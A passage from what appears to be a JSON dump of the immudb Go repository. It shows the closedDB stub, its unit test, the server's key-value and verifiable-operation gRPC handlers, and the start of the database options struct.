InferParametersPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.SQLStmt) (map[string]sql.SQLValueType, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) SQLQuery(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) (sql.RowReader, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) SQLQueryAll(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) ([]*sql.Row, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) SQLQueryPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, params map[string]interface{}) (sql.RowReader, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) ListTables(ctx context.Context, tx *sql.SQLTx) (*schema.SQLQueryResult, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) DescribeTable(ctx context.Context, tx *sql.SQLTx, table string) (*schema.SQLQueryResult, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) WaitForTx(ctx context.Context, txID uint64, allowPrecommitted bool) error {\n\treturn store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) WaitForIndexingUpto(ctx context.Context, txID uint64) error {\n\treturn store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) TxByID(ctx context.Context, req *schema.TxRequest) (*schema.Tx, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txbs []byte, mayCommitUpToTxID uint64, mayCommitUpToAlh [sha256.Size]byte, err error) {\n\treturn nil, 0, mayCommitUpToAlh, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) ReplicateTx(ctx context.Context, exportedTx []byte, skipIntegrityCheck bool, waitForIndexing bool) (*schema.TxHeader, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) AllowCommitUpto(txID uint64, alh [sha256.Size]byte) error {\n\treturn store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) DiscardPrecommittedTxsSince(txID uint64) error {\n\treturn store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) VerifiableTxByID(ctx context.Context, req *schema.VerifiableTxRequest) (*schema.VerifiableTx, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) TxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxList, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) FlushIndex(req *schema.FlushIndexRequest) error {\n\treturn store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) CompactIndex() error {\n\treturn store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) IsClosed() bool {\n\treturn true\n}\n\nfunc (db *closedDB) Close() error {\n\treturn store.ErrAlreadyClosed\n}\n\nfunc (db *closedDB) Truncate(ts time.Duration) error {\n\treturn store.ErrAlreadyClosed\n}\n\n// CreateCollection creates a new collection\nfunc (d *closedDB) CreateCollection(ctx context.Context, username string, req *protomodel.CreateCollectionRequest) (*protomodel.CreateCollectionResponse, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\n// GetCollection returns the collection schema\nfunc (d *closedDB) GetCollection(ctx context.Context, req *protomodel.GetCollectionRequest) (*protomodel.GetCollectionResponse, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (d *closedDB) GetCollections(ctx context.Context, req *protomodel.GetCollectionsRequest) (*protomodel.GetCollectionsResponse, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (d *closedDB) UpdateCollection(ctx context.Context, username string, req *protomodel.UpdateCollectionRequest) (*protomodel.UpdateCollectionResponse, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (d *closedDB) DeleteCollection(ctx context.Context, username string, req *protomodel.DeleteCollectionRequest) (*protomodel.DeleteCollectionResponse, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (d *closedDB) AddField(ctx context.Context, username string, req *protomodel.AddFieldRequest) (*protomodel.AddFieldResponse, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (d *closedDB) RemoveField(ctx context.Context, username string, req *protomodel.RemoveFieldRequest) (*protomodel.RemoveFieldResponse, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (d *closedDB) CreateIndex(ctx context.Context, username string, req *protomodel.CreateIndexRequest) (*protomodel.CreateIndexResponse, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (d *closedDB) DeleteIndex(ctx context.Context, username string, req *protomodel.DeleteIndexRequest) (*protomodel.DeleteIndexResponse, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (d *closedDB) InsertDocuments(ctx context.Context, username string, req *protomodel.InsertDocumentsRequest) (*protomodel.InsertDocumentsResponse, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (d *closedDB) ReplaceDocuments(ctx context.Context, username string, req *protomodel.ReplaceDocumentsRequest) (*protomodel.ReplaceDocumentsResponse, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (d *closedDB) AuditDocument(ctx context.Context, req *protomodel.AuditDocumentRequest) (*protomodel.AuditDocumentResponse, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (d *closedDB) SearchDocuments(ctx context.Context, query *protomodel.Query, offset int64) (document.DocumentReader, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (d *closedDB) CountDocuments(ctx context.Context, req *protomodel.CountDocumentsRequest) (*protomodel.CountDocumentsResponse, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (d *closedDB) ProofDocument(ctx context.Context, req *protomodel.ProofDocumentRequest) (*protomodel.ProofDocumentResponse, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n\nfunc (d *closedDB) DeleteDocuments(ctx context.Context, username string, req *protomodel.DeleteDocumentsRequest) (*protomodel.DeleteDocumentsResponse, error) {\n\treturn nil, store.ErrAlreadyClosed\n}\n"
  },
  {
    "path": "pkg/server/db_dummy_closed_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"crypto/sha256\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestDummyClosedDatabase(t *testing.T) {\n\tcdb := &closedDB{name: \"closeddb1\", opts: database.DefaultOptions()}\n\n\trequire.Equal(t, \"data/closeddb1\", cdb.Path())\n\n\tcdb.AsReplica(false, false, 0)\n\n\trequire.Equal(t, cdb.name, cdb.GetName())\n\trequire.Equal(t, cdb.opts, cdb.GetOptions())\n\n\trequire.False(t, cdb.IsReplica())\n\n\trequire.Equal(t, 1000, cdb.MaxResultSize())\n\n\terr := cdb.UseTimeFunc(nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\twaitingCount, _ := cdb.Health()\n\trequire.Equal(t, 0, waitingCount)\n\n\t_, err = cdb.CurrentState()\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.TxCount()\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.Set(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.VerifiableSet(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.Get(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.VerifiableGet(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.GetAll(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.Delete(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.SetReference(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.VerifiableSetReference(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.Scan(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.History(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.ExecAll(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.Count(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.CountAll(context.Background())\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.ZAdd(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.VerifiableZAdd(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.ZScan(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.NewSQLTx(nil, nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, _, err = cdb.SQLExec(context.Background(), nil, nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, _, err = cdb.SQLExecPrepared(context.Background(), nil, nil, nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.InferParameters(context.Background(), nil, \"\")\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.InferParametersPrepared(context.Background(), nil, nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.SQLQuery(context.Background(), nil, nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.SQLQueryAll(context.Background(), nil, nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.SQLQueryPrepared(context.Background(), nil, nil, nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.VerifiableSQLGet(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.ListTables(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.DescribeTable(context.Background(), nil, \"\")\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\terr = cdb.WaitForTx(context.Background(), 0, true)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\terr = cdb.WaitForIndexingUpto(context.Background(), 0)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.TxByID(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\trequire.False(t, cdb.IsSyncReplicationEnabled())\n\n\tcdb.SetSyncReplication(true)\n\n\t_, _, _, err = cdb.ExportTxByID(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.ReplicateTx(context.Background(), nil, false, false)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\terr = cdb.AllowCommitUpto(1, sha256.Sum256(nil))\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\terr = cdb.DiscardPrecommittedTxsSince(1)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.VerifiableTxByID(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.TxScan(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\terr = cdb.FlushIndex(nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\terr = cdb.CompactIndex()\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\trequire.True(t, cdb.IsClosed())\n\n\terr = cdb.Truncate(0)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.CreateCollection(context.Background(), \"admin\", nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.GetCollection(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.GetCollections(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.UpdateCollection(context.Background(), \"admin\", nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.DeleteCollection(context.Background(), \"admin\", nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.AddField(context.Background(), \"admin\", nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.RemoveField(context.Background(), \"admin\", nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.CreateIndex(context.Background(), \"admin\", nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.DeleteIndex(context.Background(), \"admin\", nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.InsertDocuments(context.Background(), \"admin\", nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.ReplaceDocuments(context.Background(), \"admin\", nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.AuditDocument(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.SearchDocuments(context.Background(), nil, 0)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.CountDocuments(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.ProofDocument(context.Background(), nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\t_, err = cdb.DeleteDocuments(context.Background(), \"admin\", nil)\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n\n\terr = cdb.Close()\n\trequire.ErrorIs(t, err, store.ErrAlreadyClosed)\n}\n"
  },
  {
    "path": "pkg/server/db_operations.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/golang/protobuf/ptypes/empty\"\n)\n\nfunc unixMilli(t time.Time) int64 {\n\treturn t.Unix()*1e3 + int64(t.Nanosecond())/1e6\n}\n\nfunc (s *ImmuServer) DatabaseHealth(ctx context.Context, _ *empty.Empty) (*schema.DatabaseHealthResponse, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"DatabaseHealth\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\twaitingRequests, lastReleaseAt := db.Health()\n\n\treturn &schema.DatabaseHealthResponse{\n\t\tPendingRequests:        uint32(waitingRequests),\n\t\tLastRequestCompletedAt: unixMilli(lastReleaseAt),\n\t}, nil\n}\n\n// CurrentState ...\nfunc (s *ImmuServer) CurrentState(ctx context.Context, _ *empty.Empty) (*schema.ImmutableState, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"CurrentState\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tstate, err := db.CurrentState()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tstate.Db = db.GetName()\n\n\tif s.StateSigner != nil {\n\t\terr = s.StateSigner.Sign(state)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn state, nil\n}\n\n// Set ...\nfunc (s *ImmuServer) Set(ctx context.Context, kv *schema.SetRequest) (*schema.TxHeader, error) {\n\tif s.Options.GetMaintenance() {\n\t\treturn nil, ErrNotAllowedInMaintenanceMode\n\t}\n\n\tdb, err := s.getDBFromCtx(ctx, \"Set\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn db.Set(ctx, kv)\n}\n\n// VerifiableSet ...\nfunc (s *ImmuServer) VerifiableSet(ctx context.Context, req *schema.VerifiableSetRequest) (*schema.VerifiableTx, error) {\n\tif s.Options.GetMaintenance() {\n\t\treturn nil, ErrNotAllowedInMaintenanceMode\n\t}\n\n\tdb, err := s.getDBFromCtx(ctx, \"VerifiableSet\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvtx, err := db.VerifiableSet(ctx, req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif s.StateSigner != nil {\n\t\thdr := schema.TxHeaderFromProto(vtx.DualProof.TargetTxHeader)\n\t\talh := hdr.Alh()\n\n\t\tnewState := &schema.ImmutableState{\n\t\t\tDb:     db.GetName(),\n\t\t\tTxId:   hdr.ID,\n\t\t\tTxHash: alh[:],\n\t\t}\n\n\t\terr = s.StateSigner.Sign(newState)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tvtx.Signature = newState.Signature\n\t}\n\n\treturn vtx, nil\n}\n\n// Get ...\nfunc (s *ImmuServer) Get(ctx context.Context, req *schema.KeyRequest) (*schema.Entry, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"Get\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn db.Get(ctx, req)\n}\n\n// VerifiableGet ...\nfunc (s *ImmuServer) VerifiableGet(ctx context.Context, req *schema.VerifiableGetRequest) (*schema.VerifiableEntry, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"VerifiableGet\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvEntry, err := db.VerifiableGet(ctx, req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif s.StateSigner != nil {\n\t\thdr := schema.TxHeaderFromProto(vEntry.VerifiableTx.DualProof.TargetTxHeader)\n\t\talh := hdr.Alh()\n\n\t\tnewState := &schema.ImmutableState{\n\t\t\tDb:     db.GetName(),\n\t\t\tTxId:   hdr.ID,\n\t\t\tTxHash: alh[:],\n\t\t}\n\n\t\terr = s.StateSigner.Sign(newState)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tvEntry.VerifiableTx.Signature = newState.Signature\n\t}\n\n\treturn vEntry, nil\n}\n\n// Scan ...\nfunc (s *ImmuServer) Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"Scan\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn db.Scan(ctx, req)\n}\n\n// Count ...\nfunc (s *ImmuServer) Count(ctx context.Context, req *schema.KeyPrefix) (*schema.EntryCount, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"Scan\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn db.Count(ctx, req)\n}\n\n// CountAll ...\nfunc (s *ImmuServer) CountAll(ctx context.Context, _ *empty.Empty) (*schema.EntryCount, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"Scan\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn db.CountAll(ctx)\n}\n\n// TxByID ...\nfunc (s *ImmuServer) TxById(ctx context.Context, req *schema.TxRequest) (*schema.Tx, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"TxByID\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn db.TxByID(ctx, req)\n}\n\n// VerifiableTxByID ...\nfunc (s *ImmuServer) VerifiableTxById(ctx context.Context, req *schema.VerifiableTxRequest) (*schema.VerifiableTx, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"VerifiableTxByID\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvtx, err := db.VerifiableTxByID(ctx, req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif s.StateSigner != nil {\n\t\thdr := schema.TxHeaderFromProto(vtx.DualProof.TargetTxHeader)\n\t\talh := hdr.Alh()\n\n\t\tnewState := &schema.ImmutableState{\n\t\t\tDb:     db.GetName(),\n\t\t\tTxId:   hdr.ID,\n\t\t\tTxHash: alh[:],\n\t\t}\n\n\t\terr = s.StateSigner.Sign(newState)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tvtx.Signature = newState.Signature\n\t}\n\n\treturn vtx, nil\n}\n\n// TxScan ...\nfunc (s *ImmuServer) TxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxList, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"TxScan\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn db.TxScan(ctx, req)\n}\n\n// History ...\nfunc (s *ImmuServer) History(ctx context.Context, req *schema.HistoryRequest) (*schema.Entries, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"History\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn db.History(ctx, req)\n}\n\n// SetReference ...\nfunc (s *ImmuServer) SetReference(ctx context.Context, req *schema.ReferenceRequest) (*schema.TxHeader, error) {\n\tif s.Options.GetMaintenance() {\n\t\treturn nil, ErrNotAllowedInMaintenanceMode\n\t}\n\n\tdb, err := s.getDBFromCtx(ctx, \"SetReference\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn db.SetReference(ctx, req)\n}\n\n// VerifibleSetReference ...\nfunc (s *ImmuServer) VerifiableSetReference(ctx context.Context, req *schema.VerifiableReferenceRequest) (*schema.VerifiableTx, error) {\n\tif s.Options.GetMaintenance() {\n\t\treturn nil, ErrNotAllowedInMaintenanceMode\n\t}\n\n\tdb, err := s.getDBFromCtx(ctx, \"VerifiableSetReference\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvtx, err := db.VerifiableSetReference(ctx, req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif s.StateSigner != nil {\n\t\thdr := schema.TxHeaderFromProto(vtx.DualProof.TargetTxHeader)\n\t\talh := hdr.Alh()\n\n\t\tnewState := &schema.ImmutableState{\n\t\t\tDb:     db.GetName(),\n\t\t\tTxId:   hdr.ID,\n\t\t\tTxHash: alh[:],\n\t\t}\n\n\t\terr = s.StateSigner.Sign(newState)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tvtx.Signature = newState.Signature\n\t}\n\n\treturn vtx, nil\n}\n\n// ZAdd ...\nfunc (s *ImmuServer) ZAdd(ctx context.Context, req *schema.ZAddRequest) (*schema.TxHeader, error) {\n\tif s.Options.GetMaintenance() {\n\t\treturn nil, ErrNotAllowedInMaintenanceMode\n\t}\n\n\tdb, err := s.getDBFromCtx(ctx, \"ZAdd\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn db.ZAdd(ctx, req)\n}\n\n// ZScan ...\nfunc (s *ImmuServer) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"ZScan\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn db.ZScan(ctx, req)\n}\n\n// VerifiableZAdd ...\nfunc (s *ImmuServer) VerifiableZAdd(ctx context.Context, req *schema.VerifiableZAddRequest) (*schema.VerifiableTx, error) {\n\tif s.Options.GetMaintenance() {\n\t\treturn nil, ErrNotAllowedInMaintenanceMode\n\t}\n\n\tdb, err := s.getDBFromCtx(ctx, \"VerifiableZAdd\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvtx, err := db.VerifiableZAdd(ctx, req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif s.StateSigner != nil {\n\t\thdr := schema.TxHeaderFromProto(vtx.DualProof.TargetTxHeader)\n\t\talh := hdr.Alh()\n\n\t\tnewState := &schema.ImmutableState{\n\t\t\tDb:     db.GetName(),\n\t\t\tTxId:   hdr.ID,\n\t\t\tTxHash: alh[:],\n\t\t}\n\n\t\terr = s.StateSigner.Sign(newState)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tvtx.Signature = newState.Signature\n\t}\n\n\treturn vtx, nil\n}\n\nfunc (s *ImmuServer) FlushIndex(ctx context.Context, req *schema.FlushIndexRequest) (*schema.FlushIndexResponse, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"FlushIndex\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = db.FlushIndex(req)\n\n\treturn &schema.FlushIndexResponse{\n\t\tDatabase: db.GetName(),\n\t}, err\n}\n\nfunc (s *ImmuServer) CompactIndex(ctx context.Context, _ *empty.Empty) (*empty.Empty, error) {\n\tdb, err := s.getDBFromCtx(ctx, \"CompactIndex\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = db.CompactIndex()\n\treturn &empty.Empty{}, err\n}\n\n// GetAll ...\nfunc (s *ImmuServer) GetAll(ctx context.Context, req *schema.KeyListRequest) (*schema.Entries, error) {\n\tif req == nil {\n\t\treturn nil, store.ErrIllegalArguments\n\t}\n\n\tdb, err := s.getDBFromCtx(ctx, \"GetAll\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn db.GetAll(ctx, req)\n}\n\nfunc (s *ImmuServer) Delete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema.TxHeader, error) {\n\tif req == nil {\n\t\treturn nil, store.ErrIllegalArguments\n\t}\n\n\tdb, err := s.getDBFromCtx(ctx, \"Delete\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn db.Delete(ctx, req)\n}\n\nfunc (s *ImmuServer) ExecAll(ctx context.Context, req *schema.ExecAllRequest) (*schema.TxHeader, error) {\n\tif s.Options.GetMaintenance() {\n\t\treturn nil, ErrNotAllowedInMaintenanceMode\n\t}\n\n\tdb, err := s.getDBFromCtx(ctx, \"ExecAll\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn db.ExecAll(ctx, req)\n}\n"
  },
  {
    "path": "pkg/server/db_options.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/ahtree\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/embedded/tbtree\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/codenotary/immudb/pkg/replication\"\n)\n\ntype Milliseconds int64\n\ntype dbOptions struct {\n\tDatabase string `json:\"database\"`\n\n\tsynced        bool         // currently a global immudb instance option\n\tSyncFrequency Milliseconds `json:\"syncFrequency\"` // ms\n\n\t// replication options (field names must be kept for backwards compatibility)\n\tReplica                      bool   `json:\"replica\"`\n\tSyncReplication              bool   `json:\"syncReplication\"`\n\tPrimaryDatabase              string `json:\"masterDatabase\"`\n\tPrimaryHost                  string `json:\"masterAddress\"`\n\tPrimaryPort                  int    `json:\"masterPort\"`\n\tPrimaryUsername              string `json:\"followerUsername\"`\n\tPrimaryPassword              string `json:\"followerPassword\"`\n\tSyncAcks                     int    `json:\"syncAcks\"`\n\tPrefetchTxBufferSize         int    `json:\"prefetchTxBufferSize\"`\n\tReplicationCommitConcurrency int    `json:\"replicationCommitConcurrency\"`\n\tAllowTxDiscarding            bool   `json:\"allowTxDiscarding\"`\n\tSkipIntegrityCheck           bool   `json:\"skipIntegrityCheck\"`\n\tWaitForIndexing              bool   `json:\"waitForIndexing\"`\n\n\t// store options\n\tEmbeddedValues bool `json:\"embeddedValues\"` // permanent\n\tPreallocFiles  bool `json:\"preallocFiles\"`  // permanent\n\tFileSize       int  `json:\"fileSize\"`       // permanent\n\tMaxKeyLen      int  `json:\"maxKeyLen\"`      // permanent\n\tMaxValueLen    int  `json:\"maxValueLen\"`    // permanent\n\tMaxTxEntries   int  `json:\"maxTxEntries\"`   // permanent\n\n\tExcludeCommitTime bool 